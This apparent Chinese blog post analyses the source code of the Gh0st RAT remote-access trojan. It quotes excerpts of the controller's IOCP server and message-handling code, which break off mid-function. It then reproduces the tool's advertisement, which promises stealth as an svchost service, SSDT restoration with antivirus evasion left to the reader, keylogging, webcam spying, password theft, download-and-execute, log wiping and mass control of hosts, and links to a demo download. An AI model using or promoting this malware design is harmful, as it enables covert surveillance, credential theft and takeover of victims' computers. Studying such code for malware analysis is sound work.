gh0st 远程桌面控制源码分析

远程主机流程图:

 

客户机流程图:

 

 


CGh0stApp theApp; 唯一的实例在初始化中调用了主框架的 Activate 函数:
BOOL CGh0stApp::InitInstance()
{
  ((CMainFrame*) m_pMainWnd)->Activate(nPort, nMaxConnection);
}

Activate 函数构造了一个  CIOCPServer 对象,然后调用 Initialize 函数初始化:
void CMainFrame::Activate(UINT nPort, UINT nMaxConnections)
{
  m_iocpServer = new CIOCPServer;
  m_iocpServer->Initialize(NotifyProc, this, 100000, nPort)
}

Initialize 注册了一个回调函数 m_pNotifyProc ,创建了一个监听套接字,一个监听线程 ListenThreadProc ,然后初始化 IOCP 服务端
bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort)
{
 m_pNotifyProc = pNotifyProc;
 m_socListen = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);
 nRet = bind(m_socListen, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));
 nRet = listen(m_socListen, SOMAXCONN);
 m_hThread =(HANDLE)_beginthreadex(NULL,0,ListenThreadProc,(void*) this,0,&dwThreadId);
 InitializeIOCP();
}

IOCP 注册的回调函数 NotifyProc ,
收到 NC_CLIENT_DISCONNECT 就从客户列表视图移除,
收到 NC_RECEIVE 调用 ProcessReceive 函数,
收到 NC_RECEIVE_COMPLETE 调用 ProcessReceiveComplete 函数
void CALLBACK CMainFrame::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode)
{
  switch (nCode)
  {
  case NC_CLIENT_CONNECT:
   break;
  case NC_CLIENT_DISCONNECT:
   g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
   break;
  case NC_TRANSMIT:
   break;
  case NC_RECEIVE:
   ProcessReceive(pContext);
   break;
  case NC_RECEIVE_COMPLETE:
   ProcessReceiveComplete(pContext);
   break;
  }
}

void CMainFrame::ProcessReceive(ClientContext *pContext)
{
 if (pContext == NULL)
  return;
 // 如果管理对话框打开,交给相应的对话框处理
 CDialog *dlg = (CDialog *)pContext->m_Dialog[1];
 // 交给窗口处理
 if (pContext->m_Dialog[0] > 0)
 {
  switch (pContext->m_Dialog[0])
  {
  case SCREENSPY_DLG:
   ((CScreenSpyDlg *)dlg)->OnReceive();
   break;
  default:
   break;
  }
  return;
 }
}

void CMainFrame::ProcessReceiveComplete(ClientContext *pContext)
{
 if (pContext == NULL)
  return;

 // 如果管理对话框打开,交给相应的对话框处理
 CDialog *dlg = (CDialog *)pContext->m_Dialog[1];
 
 // 交给窗口处理
 if (pContext->m_Dialog[0] > 0)
 {
  switch (pContext->m_Dialog[0])
  {
  case SCREENSPY_DLG:
   ((CScreenSpyDlg *)dlg)->OnReceiveComplete();
   break;
  default:
   break;
  }
  return;
 }

 switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
 {
 case TOKEN_AUTH: // 要求验证
  m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1);
  break;
 case TOKEN_HEARTBEAT: // 回复心跳包
  {
   BYTE bToken = COMMAND_REPLAY_HEARTBEAT;
   m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
  }

   break;
 case TOKEN_LOGIN: // 上线包

  {
   if (m_iocpServer->m_nMaxConnections <= g_pConnectView->GetListCtrl().GetItemCount())
   {
    closesocket(pContext->m_Socket);
 

控制端与服务端都采用IOCP模型,数据传输采用zlib压缩方式 稳定快速,上线数量无上限,可同时控制上万台主机 控制端自动检测CPU使用率调整自己的工作线程, 稳定高效 宿主为svchost以系统服务启动,上线间隔为两分钟 心跳包机制防止意外掉线.. 支持HTTP和DNS上线两种方式 自动恢复SSDT(这功能干什么,大家都知道,免杀自己做吧) 控制端224K,返朴归真的界面,生成的服务端无壳,156K,可多次重复安装,重复安装要等2秒,要退出守护线程 其它细节方面的功能大家自己去发现吧 功能: 文件管理 完全仿Radmin所写, 文件、文件夹批量上传、删除、下载、创建、重命名.. 屏幕监视 此模块全用汇编编写,传速速度快,控制屏幕,发送Ctrl+Alt+Del,7种色彩显示方式 键盘记录 可记录中英文信息,离线记录(记录上限50M)功能 远程终端 一个简单shell 系统管理 进程管理,窗口管理,拨号上网密码获取 视频监控 监控远程摄像头 会话管理 注销,重启,关机,卸载服务端 其它功能 下载执行指定URL中的程序,隐藏或者显示访问指定网址,清除系统日志 地址位置 将IP数据库文件QQWry.Dat放置程序同目录下即可显示地理位置 集群控制 可同时控制多台主机,同时打开视频监控等管理功能 演示地址 http://www.wolfexp.net/other/Gh0st_RAT/index.html http://www.wolfexp.net/other/Gh0st_RAT/demo.rar 更多请关注红狼安全小组官方网站 http://www.wolfexp.net/
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值